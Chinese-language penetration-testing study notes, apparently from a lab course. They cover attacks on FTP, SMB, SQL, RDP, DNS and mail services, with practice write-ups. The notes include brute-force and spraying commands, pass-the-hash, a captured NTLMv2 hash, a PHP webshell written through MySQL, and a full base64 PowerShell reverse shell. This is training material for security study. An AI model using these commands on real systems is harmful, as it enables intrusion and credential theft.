Attacking FTP

Brute Forcing

Medusa

使用Medusa,我们可以使用选项-u指定要针对的单个用户,也可以使用选项-u提供一个包含用户名列表的文件。选项-P用于包含密码列表的文件。我们可以使用选项-M和目标协议(FTP),并使用选项-h作为目标主机名或IP地址。

Tanin@htb[/htb]$ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp 

备忘录

攻击 FTP

命令 描述
ftp 192.168.2.142 使用客户端连接到 FTP 服务器。ftp
nc -v 192.168.2.142 21 使用 连接到 FTP 服务器。netcat
hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142 暴力破解 FTP 服务。

攻击中小企业

命令 描述
smbclient -N -L //10.129.14.128 针对 SMB 服务的空会话测试。
smbmap -H 10.129.14.128 使用 进行网络共享枚举。smbmap
smbmap -H 10.129.14.128 -r notes 使用 .smbmap
smbmap -H 10.129.14.128 --download "notes\note.txt" 从共享文件夹下载特定文件。
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt" 将特定文件上传到共享文件夹。
rpcclient -U'%' 10.10.110.17 空会话与 .rpcclient
./enum4linux-ng.py 10.10.11.45 -A -C 使用 自动枚举 SMB 服务。enum4linux-ng
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' 针对列表中的不同用户喷洒密码。
impacket-psexec administrator:'Password123!'@10.10.110.17 使用 连接到 SMB 服务。impacket-psexec
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec 使用 对 SMB 服务执行命令。crackmapexec
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users 枚举登录用户。
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam 从 SAM 数据库中提取哈希。
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE 使用哈希传递技术在目标主机上进行身份验证。
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146 使用 转储 SAM 数据库。impacket-ntlmrelayx
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <base64 reverse shell> 使用 执行基于 PowerShell 的反向外壳。impacket-ntlmrelayx

攻击 SQL 数据库

命令 描述
mysql -u julio -pPassword123 -h 10.129.20.13 连接到 MySQL 服务器。
sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30 连接到 MSSQL 服务器。
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h 从 Linux 连接到 MSSQL 服务器。
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h 从 Linux 连接到 MSSQL 服务器,而 MSSQL 服务器使用 Windows 身份验证机制。
mysql> SHOW DATABASES; 显示 MySQL 中的所有可用数据库。
mysql> USE htbusers; 在 MySQL 中选择一个特定的数据库。
mysql> SHOW TABLES; 在 MySQL 中显示所选数据库中的所有可用表。
mysql> SELECT * FROM users; 从MySQL中的“用户”表中选择所有可用条目。
sqlcmd> SELECT name FROM master.dbo.sysdatabases 显示 MSSQL 中的所有可用数据库。
sqlcmd> USE htbusers 在 MSSQL 中选择特定的数据库。
sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES 在 MSSQL 中显示所选数据库中的所有可用表。
sqlcmd> SELECT * FROM users 从 MSSQL 中的“用户”表中选择所有可用条目。
sqlcmd> EXECUTE sp_configure 'show advanced options', 1 允许更改高级选项。
sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1 启用xp_cmdshell。
sqlcmd> RECONFIGURE 在每个sp_configure命令之后使用以应用更改。
sqlcmd> xp_cmdshell 'whoami' 从 MSSQL 服务器执行系统命令。
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php' 使用 MySQL 创建一个文件。
mysql> show variables like "secure_file_priv"; 检查安全文件权限是否为空,以读取系统上本地存储的文件。
sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents 读取 MSSQL 中的本地文件。
mysql> select LOAD_FILE("/etc/passwd"); 在 MySQL 中读取本地文件。
sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\' 使用 MSSQL 中的命令进行哈希窃取。xp_dirtree
sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\' 使用 MSSQL 中的命令进行哈希窃取。xp_subdirs
sqlcmd> SELECT srvname, isremote FROM sysservers 标识 MSSQL 中的链接服务器。
sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] 标识用户及其在 MSSQL 中用于远程连接的权限。

攻击 RDP

命令 描述
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' 针对 RDP 服务喷洒密码。
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp 暴力破解 RDP 服务。
rdesktop -u admin -p password123 192.168.2.143 在 Linux 中使用连接到 RDP 服务。rdesktop
tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME} 在没有密码的情况下模拟用户。
net start sessionhijack 执行 RDP 会话劫持。
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f 在目标 Windows 主机上启用“受限管理模式”。
xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA 使用哈希传递技术在没有密码的情况下登录目标主机。

攻击域名解析

命令 描述
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb 对特定名称服务器执行 AXFR 区域传输尝试。
subfinder -d inlanefreight.com -v 暴力破解子域。
host support.inlanefreight.com 指定子域的 DNS 查找。

攻击电子邮件服务

命令 描述
host -t MX microsoft.com 指定域的邮件服务器的 DNS 查找。
`dig mx inlanefreight.com grep “MX”
host -t A mail1.inlanefreight.htb. 指定子域的 IPv4 地址的 DNS 查找。
telnet 10.10.110.20 25 连接到 SMTP 服务器。
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7 对指定主机使用 RCPT 命令进行 SMTP 用户枚举。
python3 o365spray.py --validate --domain msplaintext.xyz 验证指定域的 Office365 使用情况。
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz 枚举在指定域上使用 Office365 的现有用户。
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz 针对对指定域使用 Office365 的用户列表进行密码喷涂。
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3 暴力破解 POP3 服务。
swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213 测试 SMTP 服务是否存在开放中继漏洞。

Attacking FTP

Brute Forcing

FTP Bounce Attack

FTP反弹攻击 FTP反弹攻击是一种使用FTP服务器将出站流量传递到网络上另一个设备的网络攻击。攻击者使用PORT命令诱骗FTP连接运行命令并从预期服务器以外的设备获取信息。 假设我们的目标是暴露在互联网上的FTP服务器FTP_DMZ。同一网络中的另一个设备Internal_DMZ没有暴露在互联网上。我们可以使用与FTP_DMZ服务器的连接,使用FTP Bounce攻击扫描Internal_DMZ,并获取有关服务器打开端口的信息。然后,我们可以将这些信息作为攻击基础设施的一部分。

Nmap-b标志可用于执行FTP反弹攻击:

Tanin@htb[/htb]$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

practice

FTP 服务在哪个端口上运行?

FTP 服务器可以使用什么用户名?

使用发现的用户名及其密码通过SSH登录并获取标志.txt文件。提交内容作为您的答案。

先扫描主机:

image-20230811150309711发现都有防火墙保护,挨个端口扫描发现2121端口开了ftp服务

image-20230811150445925

他这里允许匿名登录ftp,链接上去后发现了一个密码本和一个用户列表,用hydra或者Medusa爆破一下:

image-20230811150617076

然后ssh登录即可

Attacking SMB

根据SMB实现和操作系统的不同,我们将使用Nmap获得不同的信息。请记住,在针对Windows操作系统时,版本信息通常不会包含在Nmap扫描结果中。相反,Nmap将尝试猜测操作系统的版本。然而,我们通常需要其他扫描来确定目标是否容易受到特定攻击。我们将在本节稍后介绍搜索已知漏洞。现在,让我们扫描端口139和445 TCP。

Tanin@htb[/htb]$ sudo nmap 10.129.14.128 -sV -sC -p139,445

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 15:15 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00024s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 00:00:00:00:00:00 (VMware)

Host script results:
|_nbstat: NetBIOS name: HTB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-19T13:16:04
|_  start_date: N/A

Nmap扫描揭示了目标的基本信息: SMB版本(Samba-smbd 4.6.2) 主机名HTB 操作系统是基于SMB实现的Linux

Anonymous Authentication

如果我们找到一个不需要用户名和密码或找到有效凭据的SMB服务器,我们可以获得共享、用户名、组、权限、策略、服务等的列表。大多数与SMB交互的工具都允许空会话连接,包括smbclient、smbmap、rpcclient或enum4linux。让我们探讨一下如何使用null身份验证与文件共享和RPC进行交互。

File Share

使用smbclient,我们可以使用选项-L显示服务器的共享列表,使用选项-N,我们告诉smbclient使用null会话。

Tanin@htb[/htb]$ smbclient -N -L //10.129.14.128

        Sharename       Type      Comment
        -------      --     -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        notes           Disk      CheckIT
        IPC$            IPC       IPC Service (DEVSM)
SMB1 disabled no workgroup available

Smbmap是另一个帮助我们枚举网络共享和访问相关权限的工具。smbmap的一个优点是它为每个共享文件夹提供了一个权限列表。

Tanin@htb[/htb]$ smbmap -H 10.129.14.128

[+] IP: 10.129.14.128:445     Name: 10.129.14.128                                   
        Disk                                                    Permissions     Comment
        --                                                   ---------    -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       IPC Service (DEVSM)
        notes                                                   READ, WRITE     CheckIT

使用带有-r或-r(递归)选项的smbmap,可以浏览目录:

Tanin@htb[/htb]$ smbmap -H 10.129.14.128 -r notes

[+] Guest session       IP: 10.129.14.128:445    Name: 10.129.14.128                           
        Disk                                                    Permissions     Comment
        --                                                   ---------    -------
        notes                                                   READ, WRITE
        .\notes\*
        dr--r--r               0 Mon Nov  2 00:57:44 2020    .
        dr--r--r               0 Mon Nov  2 00:57:44 2020    ..
        dr--r--r               0 Mon Nov  2 00:57:44 2020    LDOUJZWBSG
        fw--w--w             116 Tue Apr 16 07:43:19 2019    note.txt
        fr--r--r               0 Fri Feb 22 07:43:28 2019    SDT65CB.tmp
        dr--r--r               0 Mon Nov  2 00:54:57 2020    TPLRNSMWHQ
        dr--r--r               0 Mon Nov  2 00:56:51 2020    WDJEQFZPNO
        dr--r--r               0 Fri Feb 22 07:44:02 2019    WindowsImageBackup

从上面的例子中,权限被设置为READ和WRITE,可以用来上传和下载文件。

Tanin@htb[/htb]$ smbmap -H 10.129.14.128 --download "notes\note.txt"

[+] Starting download: notes\note.txt (116 bytes)
[+] File output to: /htb/10.129.14.128-notes_note.txt
Tanin@htb[/htb]$ smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"

[+] Starting upload: test.txt (20 bytes)
[+] Upload complete.

Remote Procedure Call (RPC)

我们可以使用带有空会话的rpcclient工具来枚举工作站或域控制器。 rpcclient工具为我们提供了许多不同的命令,用于在SMB服务器上执行特定功能,以收集信息或修改服务器属性(如用户名)。我们可以使用SANS研究所的这份备忘单,也可以查看客户端手册页上所有这些功能的完整列表。

Tanin@htb[/htb]$ rpcclient -U'%' 10.10.110.17

rpcclient $> enumdomusers

user:[mhope] rid:[0x641]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Brute Forcing和密码喷雾 当暴力强制时,我们会对一个帐户尝试尽可能多的密码,但如果我们达到阈值,它会锁定一个帐户。我们可以使用暴力,如果我们知道的话,可以在达到阈值之前停止。否则,我们不建议使用暴力。 密码喷洒是一个更好的选择,因为我们可以用一个通用密码锁定用户名列表,以避免帐户锁定。如果我们知道帐户锁定阈值,我们可以尝试多个密码。通常,两到三次尝试是安全的,只要我们在两次尝试之间等待30-60分钟。让我们探索一下CrackMapExec 工具,它包括执行密码喷涂的功能。 使用CrackMapExec(CME),我们可以针对多个IP,使用大量用户和密码。让我们来探索一个密码喷涂的日常使用案例。要对一个IP执行密码喷洒,我们可以使用选项-u指定带有用户列表的文件,使用选项-p指定密码。这将尝试使用提供的密码对列表中的每个用户进行身份验证。

Tanin@htb[/htb]$ crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth

SMB         10.10.110.17 445    WIN7BOX  [*] Windows 10.0 Build 18362 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False)
SMB         10.10.110.17 445    WIN7BOX  [-] WIN7BOX\Administrator:Company01! STATUS_LOGON_FAILURE 
SMB         10.10.110.17 445    WIN7BOX  [-] WIN7BOX\jrodriguez:Company01! STATUS_LOGON_FAILURE 
SMB         10.10.110.17 445    WIN7BOX  [-] WIN7BOX\admin:Company01! STATUS_LOGON_FAILURE 
SMB         10.10.110.17 445    WIN7BOX  [-] WIN7BOX\eperez:Company01! STATUS_LOGON_FAILURE 
SMB         10.10.110.17 445    WIN7BOX  [-] WIN7BOX\amone:Company01! STATUS_LOGON_FAILURE 
SMB         10.10.110.17 445    WIN7BOX  [-] WIN7BOX\fsmith:Company01! STATUS_LOGON_FAILURE 
SMB         10.10.110.17 445    WIN7BOX  [-] WIN7BOX\tcrash:Company01! STATUS_LOGON_FAILURE 

注意:默认情况下,CME将在成功登录后退出。使用–continue-on-success标志将继续喷洒,即使在找到有效密码后也是如此。它对于向大型用户列表喷洒单个密码非常有用。此外,如果我们的目标是一台未加入域的计算机,我们将需要使用选项–local-auth。有关更详细的研究密码喷洒,请参阅Active Directory枚举和攻击模块。

Remote Code Execution (RCE)

Impacket PsExec

Tanin@htb[/htb]$ impacket-psexec administrator:'Password123!'@10.10.110.17

CrackMapExec

我们可以用来运行CMD或PowerShell的另一个工具是CrackMapExec。CrackMapExec的一个优点是可以一次在多个主机上运行命令。要使用它,我们需要指定协议、smb、IP地址或IP地址范围,选项-u表示用户名,-p表示密码,选项-x用于运行cmd命令,大写-x用于运行PowerShell命令。

Tanin@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

SMB         10.10.110.17 445    WIN7BOX  [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB         10.10.110.17 445    WIN7BOX  [+] .\Administrator:Password123! (Pwn3d!)
SMB         10.10.110.17 445    WIN7BOX  [+] Executed command via smbexec
SMB         10.10.110.17 445    WIN7BOX  nt authority\system

注意:如果没有定义–exec方法,CrackMapExec将尝试执行atexec方法,如果失败,您可以尝试指定–exec方式smbexec。

Enumerating Logged-on Users

想象一下,我们在一个有多台机器的网络中。其中一些共享相同的本地管理员帐户。在这种情况下,我们可以使用CrackMapExec枚举同一网络中所有机器上的登录用户10.10.110.17/24,这加快了我们的枚举过程。

Tanin@htb[/htb]$ crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users

Extract Hashes from SAM Database

Tanin@htb[/htb]$ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam

Pass-the-Hash (PtH)

Tanin@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

Forced Authentication Attacks

我们还可以通过创建假SMB服务器来捕获用户的NetNTLM v1/v2哈希,从而滥用SMB协议。 执行此类操作的最常见工具是Responder。Responder是一种LLMNR、NBT-NS和MDNS投毒器工具,具有不同的功能,其中之一是可以设置虚假服务,包括SMB,以窃取NetNTLM v1/v2哈希。在其默认配置中,它将查找LLMNR和NBT-NS流量。然后,它将代表受害者正在寻找的服务器进行响应,并捕获他们的NetNTLM哈希。 让我们举例说明Responder是如何工作的。想象一下,我们使用响应程序默认配置创建了一个假的SMB服务器,并使用以下命令:

Tanin@htb[/htb]$ responder -I <interface name>

假设用户错误地键入了共享文件夹的名称\mysharefoder\,而不是\mysharedfolder\。在这种情况下,所有名称解析都将失败,因为名称不存在,并且机器将向网络上的所有设备发送多播查询,包括我们运行的假冒SMB服务器。这是一个问题,因为没有采取任何措施来验证答复的完整性。攻击者可以通过监听此类查询和欺骗响应来利用这一机制,使受害者相信恶意服务器是可信的。这种信任通常用于窃取凭据。

Tanin@htb[/htb]$ sudo responder -I ens33

                                         __               
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|              

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0
               
  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

[+] Poisoners:                
    LLMNR                      [ON]
    NBT-NS                     [ON]        
    DNS/MDNS                   [ON]   
                                                                                                                                                                                          
[+] Servers:         
    HTTP server                [ON]                                   
    HTTPS server               [ON]
    WPAD proxy                 [OFF]                                  
    Auth proxy                 [OFF]
    SMB server                 [ON]                                   
    Kerberos server            [ON]                                   
    SQL server                 [ON]                                   
    FTP server                 [ON]                                   
    IMAP server                [ON]                                   
    POP3 server                [ON]                                   
    SMTP server                [ON]                                   
    DNS server                 [ON]                                   
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]                                   
                                                                                   
[+] HTTP Options:                                                                  
    Always serving EXE         [OFF]                                               
    Serving EXE                [OFF]                                               
    Serving HTML               [OFF]                                               
    Upstream Proxy             [OFF]                                               

[+] Poisoning Options:                                                             
    Analyze Mode               [OFF]                                               
    Force WPAD auth            [OFF]                                               
    Force Basic Auth           [OFF]                                               
    Force LM downgrade         [OFF]                                               
    Fingerprint hosts          [OFF]                                               

[+] Generic Options:                                                               
    Responder NIC              [tun0]                                              
    Responder IP               [10.10.14.198]                                      
    Challenge set              [random]                                            
    Don't Respond To Names     ['ISATAP']                                          

[+] Current Session Variables:                                                     
    Responder Machine Name     [WIN-2TY1Z1CIGXH]   
    Responder Domain Name      [HF2L.LOCAL]                                        
    Responder DCE-RPC Port     [48162] 

[+] Listening for events... 

[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[*] [LLMNR]  Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000

已破解NTLMv2哈希。密码是P@ssword.如果我们无法破解哈希,我们可以使用impacket ntlmrelayx或Responder MultiRelay.py将捕获的哈希中继到另一台机器。让我们看看使用impacket-ntlmrelay的示例。

首先,我们需要在响应程序配置文件(/etc/responser/responder.conf)中将SMB设置为OFF。

Tanin@htb[/htb]$ cat /etc/responder/Responder.conf | grep 'SMB ='

SMB = Off

然后,我们使用选项–no http server、-sb2support执行impacket-ntlmrelayx,并使用选项-t执行目标机器。默认情况下,impacket-ntlmrelayx将转储SAM数据库,但我们可以通过添加选项-c来执行命令。

我们可以使用创建PowerShell反向shellhttps://www.revshells.com/,设置我们的机器IP地址、端口和选项Powershell#3(Base64)。

Tanin@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAwAC4AMQAzADMAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'

practice

具有读取权限的共享文件夹的名称是什么?

用户名“jason”的密码是什么?

通过SSH以用户“jason”身份登录并找到标志.txt文件。提交内容作为您的答案。

使用smbmap:

image-20230811155958797

根据给出的用户名爆破一下密码:

crackmapexec smb 10.129.203.6 -u jason -p passwords.list --local-auth 

image-20230811161236259

这里使用ssh链接但是失败了,尝试使用rce

image-20230811162433821

impact没有写权限,无语

Attacking SQL Databases

默认情况下,MSSQL使用端口TCP/1433和UDP/1434,MySQL使用TCP/3306。但是,当MSSQL在“隐藏”模式下运行时,它使用TCP/2433端口。我们可以使用Nmap的默认脚本-sC选项来枚举目标系统上的数据库服务

MySQL - Connecting to the SQL Server

Tanin@htb[/htb]$ mysql -u julio -pPassword123 -h 10.129.20.13

Sqlcmd - Connecting to the SQL Server

C:\htb> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30

注意:当我们使用sqlcmd向MSSQL进行身份验证时,我们可以使用参数-y(SQLCMDMAXVARTYPEWIDTH)和-y(SQLCMDMAXFIXEDTYPEWIDTH)来获得更好的输出。请记住,这可能会影响性能。

如果我们的目标是来自Linux的MSSQL,我们可以使用sqsh作为sqlcmd的替代方案:

Tanin@htb[/htb]$ sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>

或者,我们可以使用Impacket中名为mssqlclient.py的工具。

Tanin@htb[/htb]$ mssqlclient.py -p 1433 julio@10.129.203.7 

Execute Commands

在攻击公共服务时,命令执行是最需要的功能之一,因为它允许我们控制操作系统。如果我们有适当的权限,我们可以使用SQL数据库执行系统命令或创建必要的元素来执行。

MSSQL有一个名为xp_cmdshell的扩展存储过程,它允许我们使用SQL执行系统命令。请记住以下关于xp_cmdshell的内容: xpcmdshell是一个强大的功能,默认情况下是禁用的。xp_cmdshell可以通过使用基于策略的管理或执行sp_configure来启用和禁用 xp_cmdshell派生的Windows进程与SQL Server服务帐户具有相同的安全权限 xp_cmdshell同步运行。在命令shell命令完成之前,控件不会返回给调用方 要在MSSQL上使用SQL语法执行命令,请使用:

1> xp_cmdshell 'whoami'
2> GO

如果没有启用xp_cmdshell,如果我们有适当的权限,我们可以使用以下命令启用它:

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- To update the currently configured value for this feature.  
RECONFIGURE
GO

MySQL支持用户定义函数,这允许我们在SQL中作为函数执行C/C++代码,在这个GitHub存储库 GitHub repository中有一个用于命令执行的用户定义函数。在生产环境中遇到这样的用户定义函数并不常见,但我们应该意识到,我们可能能够使用它

Write Local Files

如果我们有适当的权限,我们可以尝试在web服务器目录中使用SELECT INTO OUTFILE编写文件。然后我们可以浏览到文件所在的位置并执行我们的命令。

mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Query OK, 1 row affected (0.001 sec)

在MySQL中,全局系统变量secure_file_priv限制了数据导入和导出操作的效果,例如由LOAD data和SELECT…INTO OUTFILE语句以及LOAD_file()函数执行的操作。这些操作只允许具有FILE权限的用户执行。

mysql> show variables like "secure_file_priv";

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

如果secure_file_priv变量为空,这意味着我们可以使用MySQL读取和写入数据

MySQL - Read Local Files in MySQL

mysql> select LOAD_FILE("/etc/passwd");

Capture MSSQL Service Hash

在攻击SMB部分,我们讨论了我们可以创建一个假的SMB服务器来窃取哈希并在Windows操作系统中滥用一些默认实现。我们还可以使用xp_subdirs或xp_dirtree未记录的存储过程窃取MSSQL服务帐户哈希,这些存储过程使用SMB协议从文件系统中检索指定父目录下的子目录列表。当我们使用其中一个存储过程并将其指向SMB服务器时,目录侦听功能将强制服务器进行身份验证并发送运行SQL server的服务帐户的NTLMv2哈希。 为了实现这一点,我们需要首先启动Responder或impacket-smbserver,并执行以下SQL查询之一:

XP_DIRTREE Hash Stealing

1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO

XP_SUBDIRS Hash Stealing

1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO

practice

What is the password for the “mssqlsvc” user?

这里尝试了用给到的字典进行爆破,发现不可行,反复阅读文案后发现可以导出hash:

先监听

image-20230812204234008

然后执行查询语句弹回hash

image-20230812204400386

然后破解hash即可

image-20230812205036653

Attacking DNS

Enumeration

Tanin@htb[/htb]# nmap -p53 -Pn -sV -sC 10.10.110.213

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-29 03:47 EDT
Nmap scan report for 10.10.110.213
Host is up (0.017s latency).

PORT    STATE  SERVICE     VERSION
53/tcp  open   domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)

DNS区域是特定组织或管理员管理的DNS命名空间的一部分。由于DNS包括多个DNS区域,DNS服务器利用DNS区域传输将其数据库的一部分复制到另一个DNS服务器。除非DNS服务器配置正确(限制哪些IP可以执行DNS区域传输),否则任何人都可以向DNS服务器索取其区域信息的副本,因为DNS区域传输不需要任何身份验证。此外,DNS服务通常在UDP端口上运行;然而,在执行DNS区域传输时,它使用TCP端口进行可靠的数据传输。 攻击者可以利用此DNS区域传输漏洞来了解有关目标组织的DNS命名空间的更多信息,从而增加攻击面。为了利用此漏洞,我们可以使用带有DNS查询类型AXFR选项的dig实用程序从易受攻击的DNS服务器中转储整个DNS命名空间:

Tanin@htb[/htb]# dig AXFR @ns1.inlanefreight.htb inlanefreight.htb

; <<>> DiG 9.11.5-P1-1-Debian <<>> axfr inlanefrieght.htb @10.129.110.213
;; global options: +cmd
inlanefrieght.htb.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
inlanefrieght.htb.         604800  IN      AAAA    ::1
inlanefrieght.htb.         604800  IN      NS      localhost.
inlanefrieght.htb.         604800  IN      A       10.129.110.22
admin.inlanefrieght.htb.   604800  IN      A       10.129.110.21
hr.inlanefrieght.htb.      604800  IN      A       10.129.110.25
support.inlanefrieght.htb. 604800  IN      A       10.129.110.28
inlanefrieght.htb.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 28 msec
;; SERVER: 10.129.110.213#53(10.129.110.213)
;; WHEN: Mon Oct 11 17:20:13 EDT 2020
;; XFR size: 8 records (messages 1, bytes 289)

Fierce这样的工具也可以用来枚举根域的所有DNS服务器,并扫描DNS区域传输:

Tanin@htb[/htb]# fierce --domain zonetransfer.me

Domain Takeovers & Subdomain Enumeration

